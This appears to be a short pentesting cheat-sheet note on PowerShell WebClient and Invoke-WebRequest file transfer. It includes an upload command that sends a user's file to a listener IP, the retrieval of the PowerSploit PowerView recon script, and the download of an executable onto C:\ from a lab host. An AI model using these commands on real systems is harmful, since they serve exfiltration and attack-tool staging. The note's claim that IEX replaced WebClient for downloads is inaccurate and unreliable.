Summery

WebClient is an old way for PowerShell to download and send files. It was later surpassed by IWR and IEX.


Code

Synchronous Download

(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.1/file.txt","C:\Temp\file.txt")
  • Starts download
  • Waits until it finishes
  • Your PowerShell session is blocked during the download

Asynchronous Download

(New-Object System.Net.WebClient).DownloadFileAsync("http://10.10.10.1/file.txt","C:\Temp\file.txt")
  • Starts download
  • Immediately returns control
  • Download continues in the background
  • You need events/callbacks to know when it finishes

Synchonous Upload

(New-Object System.Net.WebClient).UploadFile("http://192.168.138.220:1338/upload","C:\Users\dave\out.txt")

Examples

Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
 
Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1
 
Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"